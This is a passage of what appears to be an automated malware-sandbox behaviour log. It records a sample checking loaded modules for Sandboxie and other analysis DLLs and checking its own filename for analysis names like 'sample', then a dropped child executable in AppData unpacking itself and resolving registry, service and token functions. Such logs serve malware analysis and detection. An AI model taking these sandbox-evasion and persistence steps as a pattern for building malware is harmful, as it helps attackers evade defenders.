returned 0x25a7038 [0247.562] StrStrIA (lpFirst="shlwapi.dll", lpSrch="SbieDll.dll") returned 0x0 [0247.562] lstrlenA (lpString="SbieDll.dll") returned 11 [0247.562] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a7038 | out: hHeap=0x25a0000) returned 1 [0247.562] Module32Next (hSnapshot=0x28c, lpme=0x19fd04) returned 1 [0247.563] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xf) returned 0x25a7260 [0247.563] StrStrIA (lpFirst="kernel.appcore.dll", lpSrch="ivm-inject.dll") returned 0x0 [0247.564] lstrlenA (lpString="ivm-inject.dll") returned 14 [0247.564] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a7260 | out: hHeap=0x25a0000) returned 1 [0247.564] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xc) returned 0x25a7248 [0247.564] StrStrIA (lpFirst="kernel.appcore.dll", lpSrch="SbieDll.dll") returned 0x0 [0247.564] lstrlenA (lpString="SbieDll.dll") returned 11 [0247.564] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a7248 | out: hHeap=0x25a0000) returned 1 [0247.564] Module32Next (hSnapshot=0x28c, lpme=0x19fd04) returned 1 [0247.565] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xf) returned 0x25a7290 [0247.565] StrStrIA (lpFirst="powrprof.dll", lpSrch="ivm-inject.dll") returned 0x0 [0247.565] lstrlenA (lpString="ivm-inject.dll") returned 14 [0247.565] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a7290 | out: hHeap=0x25a0000) returned 1 [0247.565] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xc) returned 0x25a71d0 [0247.565] StrStrIA (lpFirst="powrprof.dll", lpSrch="SbieDll.dll") returned 0x0 [0247.565] lstrlenA (lpString="SbieDll.dll") returned 11 [0247.565] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a71d0 | out: hHeap=0x25a0000) returned 1 [0247.565] Module32Next (hSnapshot=0x28c, lpme=0x19fd04) returned 1 [0247.566] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xf) returned 0x25a7248 [0247.566] StrStrIA (lpFirst="setupapi.dll", lpSrch="ivm-inject.dll") returned 0x0 [0247.566] lstrlenA (lpString="ivm-inject.dll") returned 14 [0247.566] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a7248 | out: hHeap=0x25a0000) returned 1 [0247.566] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xc) returned 0x25a7308 [0247.566] StrStrIA (lpFirst="setupapi.dll", lpSrch="SbieDll.dll") returned 0x0 [0247.566] lstrlenA (lpString="SbieDll.dll") returned 11 [0247.568] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a7308 | out: hHeap=0x25a0000) returned 1 [0247.568] Module32Next (hSnapshot=0x28c, lpme=0x19fd04) returned 1 [0247.569] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xf) returned 0x25a7188 [0247.569] StrStrIA (lpFirst="netapi32.dll", lpSrch="ivm-inject.dll") returned 0x0 [0247.569] lstrlenA (lpString="ivm-inject.dll") returned 14 [0247.569] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a7188 | out: hHeap=0x25a0000) returned 1 [0247.569] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xc) returned 0x25a71a0 [0247.569] StrStrIA (lpFirst="netapi32.dll", lpSrch="SbieDll.dll") returned 0x0 [0247.569] lstrlenA (lpString="SbieDll.dll") returned 11 [0247.569] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a71a0 | out: hHeap=0x25a0000) returned 1 [0247.569] Module32Next (hSnapshot=0x28c, lpme=0x19fd04) returned 1 [0247.570] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xf) returned 0x25a7200 [0247.570] StrStrIA (lpFirst="NETUTILS.DLL", lpSrch="ivm-inject.dll") returned 0x0 [0247.570] lstrlenA (lpString="ivm-inject.dll") returned 14 [0247.570] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a7200 | out: hHeap=0x25a0000) returned 1 [0247.570] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xc) returned 0x25a70b0 [0247.570] StrStrIA (lpFirst="NETUTILS.DLL", lpSrch="SbieDll.dll") returned 0x0 [0247.570] lstrlenA (lpString="SbieDll.dll") returned 11 [0247.570] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a70b0 | out: hHeap=0x25a0000) returned 1 [0247.570] Module32Next (hSnapshot=0x28c, lpme=0x19fd04) returned 1 [0247.618] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xf) returned 0x25a71d0 [0247.618] StrStrIA (lpFirst="SAMCLI.DLL", lpSrch="ivm-inject.dll") returned 0x0 [0247.618] lstrlenA (lpString="ivm-inject.dll") returned 14 [0247.618] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a71d0 | out: hHeap=0x25a0000) returned 1 [0247.618] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xc) returned 0x25a72d8 [0247.618] StrStrIA (lpFirst="SAMCLI.DLL", lpSrch="SbieDll.dll") returned 0x0 [0247.618] lstrlenA (lpString="SbieDll.dll") returned 11 [0247.619] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a72d8 | out: hHeap=0x25a0000) returned 1 [0247.619] Module32Next (hSnapshot=0x28c, lpme=0x19fd04) returned 1 [0247.619] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xf) returned 0x25a7248 [0247.620] StrStrIA (lpFirst="LOGONCLI.DLL", lpSrch="ivm-inject.dll") returned 0x0 [0247.620] lstrlenA (lpString="ivm-inject.dll") returned 14 [0247.620] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a7248 | out: hHeap=0x25a0000) returned 1 [0247.620] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xc) returned 0x25a70b0 [0247.620] StrStrIA (lpFirst="LOGONCLI.DLL", lpSrch="SbieDll.dll") returned 0x0 [0247.620] lstrlenA (lpString="SbieDll.dll") returned 11 [0247.620] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a70b0 | out: hHeap=0x25a0000) returned 1 [0247.620] Module32Next (hSnapshot=0x28c, lpme=0x19fd04) returned 1 [0247.621] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xf) returned 0x25a7170 [0247.621] StrStrIA (lpFirst="WKSCLI.DLL", lpSrch="ivm-inject.dll") returned 0x0 [0247.621] lstrlenA (lpString="ivm-inject.dll") returned 14 [0247.621] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a7170 | out: hHeap=0x25a0000) returned 1 [0247.621] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xc) returned 0x25a71b8 [0247.621] StrStrIA (lpFirst="WKSCLI.DLL", lpSrch="SbieDll.dll") returned 0x0 [0247.621] lstrlenA (lpString="SbieDll.dll") returned 11 [0247.621] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a71b8 | out: hHeap=0x25a0000) returned 1 [0247.621] Module32Next (hSnapshot=0x28c, lpme=0x19fd04) returned 1 [0247.622] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xf) returned 0x25a70e0 [0247.622] StrStrIA (lpFirst="bcrypt.dll", lpSrch="ivm-inject.dll") returned 0x0 [0247.622] lstrlenA (lpString="ivm-inject.dll") returned 14 [0247.622] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a70e0 | out: hHeap=0x25a0000) returned 1 [0247.622] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xc) returned 0x25a7260 [0247.622] StrStrIA (lpFirst="bcrypt.dll", lpSrch="SbieDll.dll") returned 0x0 [0247.622] lstrlenA (lpString="SbieDll.dll") returned 11 [0247.622] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a7260 | out: hHeap=0x25a0000) returned 1 [0247.622] Module32Next (hSnapshot=0x28c, lpme=0x19fd04) returned 1 [0247.623] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xf) returned 0x25a7260 [0247.623] StrStrIA (lpFirst="uxtheme.dll", lpSrch="ivm-inject.dll") returned 0x0 [0247.623] lstrlenA (lpString="ivm-inject.dll") returned 14 [0247.623] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a7260 | out: hHeap=0x25a0000) returned 1 [0247.623] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xc) returned 0x25a7230 [0247.623] StrStrIA (lpFirst="uxtheme.dll", lpSrch="SbieDll.dll") returned 0x0 [0247.623] lstrlenA (lpString="SbieDll.dll") returned 11 [0247.623] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a7230 | out: hHeap=0x25a0000) returned 1 [0247.623] Module32Next (hSnapshot=0x28c, lpme=0x19fd04) returned 1 [0247.624] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xf) returned 0x25a7188 [0247.624] StrStrIA (lpFirst="DEVOBJ.dll", lpSrch="ivm-inject.dll") returned 0x0 [0247.624] lstrlenA (lpString="ivm-inject.dll") returned 14 [0247.624] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a7188 | out: hHeap=0x25a0000) returned 1 [0247.624] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xc) returned 0x25a7260 [0247.625] StrStrIA (lpFirst="DEVOBJ.dll", lpSrch="SbieDll.dll") returned 0x0 [0247.625] lstrlenA (lpString="SbieDll.dll") returned 11 [0247.625] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a7260 | out: hHeap=0x25a0000) returned 1 [0247.625] Module32Next (hSnapshot=0x28c, lpme=0x19fd04) returned 1 [0247.625] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xf) returned 0x25a70b0 [0247.625] StrStrIA (lpFirst="WINTRUST.dll", lpSrch="ivm-inject.dll") returned 0x0 [0247.626] lstrlenA (lpString="ivm-inject.dll") returned 14 [0247.626] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a70b0 | out: hHeap=0x25a0000) returned 1 [0247.626] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xc) returned 0x25a7278 [0247.626] StrStrIA (lpFirst="WINTRUST.dll", lpSrch="SbieDll.dll") returned 0x0 [0247.626] lstrlenA (lpString="SbieDll.dll") returned 11 [0247.626] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a7278 | out: hHeap=0x25a0000) returned 1 [0247.626] Module32Next (hSnapshot=0x28c, lpme=0x19fd04) returned 1 [0247.627] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xf) returned 0x25a72d8 [0247.627] StrStrIA (lpFirst="MSASN1.dll", lpSrch="ivm-inject.dll") returned 0x0 [0247.627] lstrlenA (lpString="ivm-inject.dll") returned 14 [0247.627] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a72d8 | out: hHeap=0x25a0000) returned 1 [0247.627] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xc) returned 0x25a7290 [0247.627] StrStrIA (lpFirst="MSASN1.dll", lpSrch="SbieDll.dll") returned 0x0 [0247.627] lstrlenA (lpString="SbieDll.dll") returned 11 [0247.627] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a7290 | out: hHeap=0x25a0000) returned 1 [0247.627] Module32Next (hSnapshot=0x28c, lpme=0x19fd04) returned 1 [0247.628] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xf) returned 0x25a7218 [0247.628] StrStrIA (lpFirst="CRYPT32.dll", lpSrch="ivm-inject.dll") returned 0x0 [0247.628] lstrlenA (lpString="ivm-inject.dll") returned 14 [0247.628] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a7218 | out: hHeap=0x25a0000) returned 1 [0247.628] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xc) returned 0x25a7290 [0247.628] StrStrIA (lpFirst="CRYPT32.dll", lpSrch="SbieDll.dll") returned 0x0 [0247.628] lstrlenA (lpString="SbieDll.dll") returned 11 [0247.628] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a7290 | out: hHeap=0x25a0000) returned 1 [0247.628] Module32Next (hSnapshot=0x28c, lpme=0x19fd04) returned 0 [0247.629] CloseHandle (hObject=0x28c) returned 1 [0247.629] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0247.629] GetModuleFileNameA (in: hModule=0x400000, lpFilename=0x19fe1c, nSize=0x103 | out: lpFilename="C:\\BlotRots\\Loterios.exe" (normalized: "c:\\blotrots\\loterios.exe")) returned 0x18 [0247.629] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x7) returned 0x261f748 [0247.629] StrStrIA (lpFirst="C:\\BlotRots\\Loterios.exe", lpSrch="sample") returned 0x0 [0247.629] lstrlenA (lpString="sample") returned 6 [0247.629] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f748 | out: hHeap=0x25a0000) returned 1 [0247.630] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xa) returned 0x25a7158 [0247.630] StrStrIA (lpFirst="C:\\BlotRots\\Loterios.exe", lpSrch="mlwr_smpl") returned 0x0 [0247.630] lstrlenA (lpString="mlwr_smpl") returned 9 [0247.630] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a7158 | out: hHeap=0x25a0000) returned 1 [0247.630] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xd) returned 0x25a7320 [0247.630] StrStrIA (lpFirst="C:\\BlotRots\\Loterios.exe", lpSrch="artifact.exe") returned 0x0 [0247.630] lstrlenA (lpString="artifact.exe") returned 12 [0247.630] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a7320 | out: hHeap=0x25a0000) returned 1 [0247.630] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xd) returned 0x25a71d0 [0247.630] lstrlenA (lpString="GenuineIntel") returned 12 [0247.630] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a71d0 | out: hHeap=0x25a0000) returned 1 [0247.630] ExitProcess (uExitCode=0x0) Thread: id = 339 os_tid = 0xae0 Process: id = "22" image_name = "xafpqko.exe" filename = "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\qieeyrekuc\\xafpqko.exe" page_root = "0x39413000" os_pid = "0x1348" os_integrity_level = "0x2000" os_privileges = "0x40800000" monitor_reason = "child_process" parent_id = "19" os_parent_pid = "0xe40" cmd_line = "C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc\\xafpqko.exe" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00010927" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 353 os_tid = 0x1274 [0258.052] VirtualAlloc (lpAddress=0x0, dwSize=0xcf000, flAllocationType=0x1000, flProtect=0x40) returned 0x2050000 [0258.136] VirtualAlloc (lpAddress=0x0, dwSize=0x32e10, flAllocationType=0x1000, flProtect=0x4) returned 0x520000 [0258.136] VirtualProtect (in: lpAddress=0x400000, dwSize=0xcf000, flNewProtect=0x40, lpflOldProtect=0x21130a8 | out: lpflOldProtect=0x21130a8*=0x2) returned 1 [0258.144] GetVersion () returned 0x23f00206 [0258.652] GetTickCount () returned 0x11811b1 [0258.652] OleUIConvertA () returned 0x65 [0258.711] OleUIConvertW () returned 0x65 [0259.350] OleUIBusyA () returned 0x65 [0259.350] OleUIBusyA () returned 0x65 [0259.350] GetTickCount () returned 0x1181460 [0259.350] OleUninitialize () [0259.350] VirtualProtect (in: lpAddress=0x400000, dwSize=0x400, flNewProtect=0x2, lpflOldProtect=0x21130a8 | out: lpflOldProtect=0x21130a8*=0x40) returned 1 [0259.364] GetProcessId (Process=0x0) returned 0x0 [0259.364] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0259.364] LoadLibraryA (lpLibFileName="USERENV.dll") returned 0x74080000 [0259.370] GetProcAddress (hModule=0x74080000, lpProcName="GetUserProfileDirectoryW") returned 0x740849b0 [0259.370] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0259.370] LoadLibraryA (lpLibFileName="ole32.dll") returned 0x772b0000 [0259.370] GetProcAddress (hModule=0x772b0000, lpProcName="CoSetProxyBlanket") returned 0x76a59510 [0259.370] GetProcAddress (hModule=0x772b0000, lpProcName="CoInitializeSecurity") returned 0x76a89710 [0259.370] GetProcAddress (hModule=0x772b0000, lpProcName="CoUninitialize") returned 0x76a722b0 [0259.371] GetProcAddress (hModule=0x772b0000, lpProcName="CoCreateInstance") returned 0x76a37490 [0259.371] GetProcAddress (hModule=0x772b0000, lpProcName="CoInitializeEx") returned 0x76a72590 [0259.371] GetProcAddress (hModule=0x772b0000, lpProcName="CoInitialize") returned 0x772e6a60 [0259.371] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0259.371] LoadLibraryA (lpLibFileName="SHELL32.dll") returned 0x74720000 [0259.392] GetProcAddress (hModule=0x74720000, lpProcName="CommandLineToArgvW") returned 0x7487cc20 [0259.392] GetProcAddress (hModule=0x74720000, lpProcName="SHGetFolderPathW") returned 0x748788f0 [0259.392] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0259.392] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x74560000 [0259.392] GetProcAddress (hModule=0x74560000, lpProcName="CloseHandle") returned 0x745ceab0 [0259.393] GetProcAddress (hModule=0x74560000, lpProcName="GetCurrentProcessId") returned 0x745cea20 [0259.393] GetProcAddress (hModule=0x74560000, lpProcName="GetEnvironmentVariableW") returned 0x74574fb0 [0259.393] GetProcAddress (hModule=0x74560000, lpProcName="WideCharToMultiByte") returned 0x74576b10 [0259.393] GetProcAddress (hModule=0x74560000, lpProcName="lstrcatA") returned 0x745b70c0 [0259.393] GetProcAddress (hModule=0x74560000, lpProcName="GetEnvironmentVariableA") returned 0x74574f90 [0259.393] GetProcAddress (hModule=0x74560000, lpProcName="MultiByteToWideChar") returned 0x74575c40 [0259.393] GetProcAddress (hModule=0x74560000, lpProcName="lstrlenW") returned 0x74576c70 [0259.393] GetProcAddress (hModule=0x74560000, lpProcName="lstrcatW") returned 0x745b71a0 [0259.393] GetProcAddress (hModule=0x74560000, lpProcName="lstrcpyA") returned 0x745b7060 [0259.393] GetProcAddress (hModule=0x74560000, lpProcName="HeapAlloc") returned 0x77822dc0 [0259.394] GetProcAddress (hModule=0x74560000, lpProcName="HeapFree") returned 0x745757f0 [0259.394] GetProcAddress (hModule=0x74560000, lpProcName="HeapCreate") returned 0x745757b0 [0259.394] GetProcAddress (hModule=0x74560000, lpProcName="VirtualAlloc") returned 0x74576970 [0259.394] GetProcAddress (hModule=0x74560000, lpProcName="GetFileSize") returned 0x745cef30 [0259.394] GetProcAddress (hModule=0x74560000, lpProcName="lstrcmpiA") returned 0x74576bd0 [0259.394] GetProcAddress (hModule=0x74560000, lpProcName="GetModuleFileNameA") returned 0x74575070 [0259.394] GetProcAddress (hModule=0x74560000, lpProcName="GetCurrentProcess") returned 0x745cea10 [0259.394] GetProcAddress (hModule=0x74560000, lpProcName="GetModuleHandleW") returned 0x745750d0 [0259.394] GetProcAddress (hModule=0x74560000, lpProcName="LoadLibraryW") returned 0x74575ae0 [0259.394] GetProcAddress (hModule=0x74560000, lpProcName="CopyFileW") returned 0x745cf3b0 [0259.394] GetProcAddress (hModule=0x74560000, lpProcName="TerminateProcess") returned 0x745767e0 [0259.395] GetProcAddress (hModule=0x74560000, lpProcName="DeleteFileW") returned 0x745ced40 [0259.395] GetProcAddress (hModule=0x74560000, lpProcName="ResumeThread") returned 0x74576380 [0259.395] GetProcAddress (hModule=0x74560000, lpProcName="GetComputerNameW") returned 0x745a32c0 [0259.395] GetProcAddress (hModule=0x74560000, lpProcName="ReleaseMutex") returned 0x745cec20 [0259.395] GetProcAddress (hModule=0x74560000, lpProcName="GetExitCodeProcess") returned 0x74573c60 [0259.395] GetProcAddress (hModule=0x74560000, lpProcName="SetEnvironmentVariableW") returned 0x745764e0 [0259.395] GetProcAddress (hModule=0x74560000, lpProcName="GetTickCount") returned 0x745cdd50 [0259.395] GetProcAddress (hModule=0x74560000, lpProcName="GetModuleFileNameW") returned 0x74575090 [0259.395] GetProcAddress (hModule=0x74560000, lpProcName="GetSystemInfo") returned 0x745754d0 [0259.396] GetProcAddress (hModule=0x74560000, lpProcName="SetEnvironmentVariableA") returned 0x745764c0 [0259.396] GetProcAddress (hModule=0x74560000, lpProcName="GetVersionExA") returned 0x745756d0 [0259.396] GetProcAddress (hModule=0x74560000, lpProcName="GetModuleHandleA") returned 0x745750b0 [0259.396] GetProcAddress (hModule=0x74560000, lpProcName="SetEvent") returned 0x745cec50 [0259.396] GetProcAddress (hModule=0x74560000, lpProcName="OpenEventA") returned 0x745cebd0 [0259.396] GetProcAddress (hModule=0x74560000, lpProcName="CreateMutexA") returned 0x745ceb40 [0259.396] GetProcAddress (hModule=0x74560000, lpProcName="GetCurrentThread") returned 0x74578810 [0259.396] GetProcAddress (hModule=0x74560000, lpProcName="SetLastError") returned 0x74574f00 [0259.397] GetProcAddress (hModule=0x74560000, lpProcName="GetSystemTimeAsFileTime") returned 0x74575530 [0259.397] GetProcAddress (hModule=0x74560000, lpProcName="lstrcmpiW") returned 0x74576bf0 [0259.397] GetProcAddress (hModule=0x74560000, lpProcName="MoveFileW") returned 0x745ae500 [0259.397] GetProcAddress (hModule=0x74560000, lpProcName="SetFileAttributesW") returned 0x745cf100 [0259.397] GetProcAddress (hModule=0x74560000, lpProcName="LocalAlloc") returned 0x74575b20 [0259.397] GetProcAddress (hModule=0x74560000, lpProcName="GetLocalTime") returned 0x74575060 [0259.397] GetProcAddress (hModule=0x74560000, lpProcName="lstrcpyW") returned 0x745b7140 [0259.397] GetProcAddress (hModule=0x74560000, lpProcName="CreateDirectoryW") returned 0x745cece0 [0259.398] GetProcAddress (hModule=0x74560000, lpProcName="LoadLibraryA") returned 0x74575a80 [0259.398] GetProcAddress (hModule=0x74560000, lpProcName="GetProcAddress") returned 0x745751b0 [0259.398] GetProcAddress (hModule=0x74560000, lpProcName="GetLastError") returned 0x74575010 [0259.398] GetProcAddress (hModule=0x74560000, lpProcName="CreateEventA") returned 0x745ceb00 [0259.398] GetProcAddress (hModule=0x74560000, lpProcName="SleepEx") returned 0x745cec70 [0259.398] GetProcAddress (hModule=0x74560000, lpProcName="WaitForSingleObject") returned 0x745ceca0 [0259.398] GetProcAddress (hModule=0x74560000, lpProcName="FreeLibrary") returned 0x74574c40 [0259.399] GetProcAddress (hModule=0x74560000, lpProcName="GetDriveTypeW") returned 0x745ceed0 [0259.399] GetProcAddress (hModule=0x74560000, lpProcName="lstrlenA") returned 0x74576c50 [0259.399] GetProcAddress (hModule=0x74560000, lpProcName="lstrcmpA") returned 0x74576b90 [0259.399] GetProcAddress (hModule=0x74560000, lpProcName="GetCommandLineW") returned 0x74574cc0 [0259.399] GetProcAddress (hModule=0x74560000, lpProcName="ExitProcess") returned 0x74573cb0 [0259.399] GetProcAddress (hModule=0x74560000, lpProcName="lstrcpynW") returned 0x74576c30 [0259.400] GetProcAddress (hModule=0x74560000, lpProcName="Sleep") returned 0x74576760 [0259.400] GetProcAddress (hModule=0x74560000, lpProcName="SystemTimeToFileTime") returned 0x745767a0 [0259.400] GetProcAddress (hModule=0x74560000, lpProcName="GetSystemTime") returned 0x745754e0 [0259.400] GetProcAddress (hModule=0x74560000, lpProcName="GetWindowsDirectoryW") returned 0x74575730 [0259.400] GetProcAddress (hModule=0x74560000, lpProcName="TerminateThread") returned 0x74576800 [0259.400] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0259.400] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x76850000 [0259.400] GetProcAddress (hModule=0x76850000, lpProcName="CharUpperBuffA") returned 0x768c7650 [0259.400] GetProcAddress (hModule=0x76850000, lpProcName="MessageBoxA") returned 0x768bd740 [0259.400] GetProcAddress (hModule=0x76850000, lpProcName="GetClassNameA") returned 0x7686ba80 [0259.401] GetProcAddress (hModule=0x76850000, lpProcName="CharUpperBuffW") returned 0x768c7670 [0259.401] GetProcAddress (hModule=0x76850000, lpProcName="GetSystemMetrics") returned 0x7687ddc0 [0259.401] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0259.401] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x77230000 [0259.401] GetProcAddress (hModule=0x77230000, lpProcName="SetSecurityDescriptorDacl") returned 0x7724f6c0 [0259.401] GetProcAddress (hModule=0x77230000, lpProcName="InitializeSecurityDescriptor") returned 0x7724f870 [0259.401] GetProcAddress (hModule=0x77230000, lpProcName="GetTokenInformation") returned 0x7724ee90 [0259.401] GetProcAddress (hModule=0x77230000, lpProcName="GetSidSubAuthorityCount") returned 0x7724f420 [0259.401] GetProcAddress (hModule=0x77230000, lpProcName="OpenThreadToken") returned 0x7724eeb0 [0259.402] GetProcAddress (hModule=0x77230000, lpProcName="RegDeleteValueW") returned 0x77250580 [0259.402] GetProcAddress (hModule=0x77230000, lpProcName="RegQueryInfoKeyW") returned 0x7724f270 [0259.402] GetProcAddress (hModule=0x77230000, lpProcName="GetSidSubAuthority") returned 0x7724f230 [0259.402] GetProcAddress (hModule=0x77230000, lpProcName="OpenProcessToken") returned 0x7724efb0 [0259.402] GetProcAddress (hModule=0x77230000, lpProcName="RegCloseKey") returned 0x7724ed60 [0259.402] GetProcAddress (hModule=0x77230000, lpProcName="RegUnLoadKeyW") returned 0x77263af0 [0259.402] GetProcAddress (hModule=0x77230000, lpProcName="RegLoadKeyW") returned 0x77263990 [0259.403] GetProcAddress (hModule=0x77230000, lpProcName="LookupAccountSidW") returned 0x7724f100 [0259.403] GetProcAddress (hModule=0x77230000, lpProcName="EqualSid") returned 0x7724ffe0 [0259.403] GetProcAddress (hModule=0x77230000, lpProcName="SetServiceStatus") returned 0x77250650 [0259.403] GetProcAddress (hModule=0x77230000, lpProcName="RegisterServiceCtrlHandlerA") returned 0x77263b10 [0259.403] GetProcAddress (hModule=0x77230000, lpProcName="StartServiceCtrlDispatcherA") returned 0x77253b60 [0259.403] GetProcAddress (hModule=0x77230000, lpProcName="LookupAccountNameW") returned 0x7724f290 [0259.403] GetProcAddress (hModule=0x77230000, lpProcName="RegQueryValueExW") returned 0x7724e5a0 [0259.404] GetProcAddress (hModule=0x77230000, lpProcName="RegSetValueExW") returned 0x7724f530 [0259.404] GetProcAddress (hModule=0x77230000, lpProcName="ConvertSidToStringSidW") returned 0x7724ed80 [0259.404] GetProcAddress (hModule=0x77230000, lpProcName="RegOpenKeyExW") returned 0x7724e580 [0259.404] GetProcAddress (hModule=0x77230000, lpProcName="RegEnumValueW") returned 0x7724f250 [0259.404] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0259.404] LoadLibraryA (lpLibFileName="msvcrt.dll") returned 0x74360000 [0259.404] GetProcAddress (hModule=0x74360000, lpProcName="memcpy") returned 0x743e7b70 [0259.404] GetProcAddress (hModule=0x74360000, lpProcName="memset") returned 0x743e8360 [0259.405] GetProcAddress (hModule=0x74360000, lpProcName="_ltoa") returned 0x74390600 [0259.405] GetProcAddress (hModule=0x74360000, lpProcName="_vsnwprintf") returned 0x743d5fb0 [0259.405] GetProcAddress (hModule=0x74360000, lpProcName="_vsnprintf") returned 0x743d5b40 [0259.405] GetProcAddress (hModule=0x74360000, lpProcName="_except_handler3") returned 0x743b7d94 [0259.410] GetCurrentThreadId () returned 0x1274 [0259.410] lstrcmpA (lpString1="X=s+0", lpString2=">D_zN@") returned 1 [0259.412] VirtualFree (lpAddress=0x520000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0259.414] GetCommandLineW () returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc\\xafpqko.exe" [0259.414] CommandLineToArgvW (in: lpCmdLine="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc\\xafpqko.exe", pNumArgs=0x19ff78 | out: pNumArgs=0x19ff78) returned 0x59b9b0*="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc\\xafpqko.exe" [0259.414] HeapCreate (flOptions=0x0, dwInitialSize=0x80000, dwMaximumSize=0x0) returned 0x2190000 [0259.416] SetLastError (dwErrCode=0x5) [0259.416] GetLastError () 